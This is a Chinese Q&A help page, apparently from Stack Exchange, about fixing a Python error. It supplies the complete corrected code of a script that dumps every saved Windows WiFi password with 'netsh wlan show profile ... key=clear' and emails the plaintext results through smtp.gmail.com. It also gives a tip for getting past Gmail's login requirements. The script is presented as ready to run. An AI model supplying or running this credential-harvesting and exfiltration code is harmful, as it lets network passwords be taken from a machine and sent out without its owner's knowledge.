Python获取已连接WiFi密码脚本报subprocess.CalledProcessError错误求助
错误产生原因
- 正则捕获的WiFi名称(SSID)末尾携带了Windows系统换行符
\r\n,从报错信息中的执行命令'netsh wlan show profile MyNetwork\r\n\r\n' key=clear'可以看到,MyNetwork后多了多余的换行符,导致netsh命令无法识别对应配置文件,返回非0退出状态码触发subprocess.CalledProcessError异常。 - 直接用
str()转换subprocess返回的字节流,没有按照Windows控制台默认的GBK编码解码,会导致匹配结果混入多余转义字符,进一步影响命令拼接。 - 若SSID本身包含空格,直接拼接命令也会导致系统解析命令出错。
修复方案
- 解码subprocess返回的字节流时指定GBK编码,保证匹配结果准确
- 对正则捕获到的每个SSID执行去首尾空白处理,移除多余换行符和空格
- 拼接命令时给SSID加双引号,兼容带空格的SSID场景
- 增加异常捕获逻辑,避免单个SSID查询失败导致整个程序终止
修复后的完整代码如下:
#!/usr/bin/env python import subprocess, smtplib, re def send_mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() command = "netsh wlan show profile" # 指定GBK编码解码Windows下netsh的输出结果 networks = subprocess.check_output(command, shell=True).decode('gbk', errors='ignore') net_names_list = re.findall(r"(?:Profile\s*:\s)(.*)", networks) result = "" for network_name in net_names_list: # 移除SSID前后的空白、换行符 clean_name = network_name.strip() if not clean_name: continue # SSID加双引号,兼容带空格的名称 command = f'netsh wlan show profile "{clean_name}" key=clear' try: current_result = subprocess.check_output(command, shell=True).decode('gbk', errors='ignore') result += current_result except subprocess.CalledProcessError: # 单个SSID查询失败不中断程序 continue send_mail("example@gmail.com", "password", result)
可选优化
如果你使用G邮箱发信,目前普通账号密码无法直接登录SMTP服务,需要先开启账号的两步验证,生成应用专用密码后替换代码中的password参数才能正常发信。
内容的提问来源于stack exchange,提问作者Wally Kay
相关产品推荐
相关产品推荐

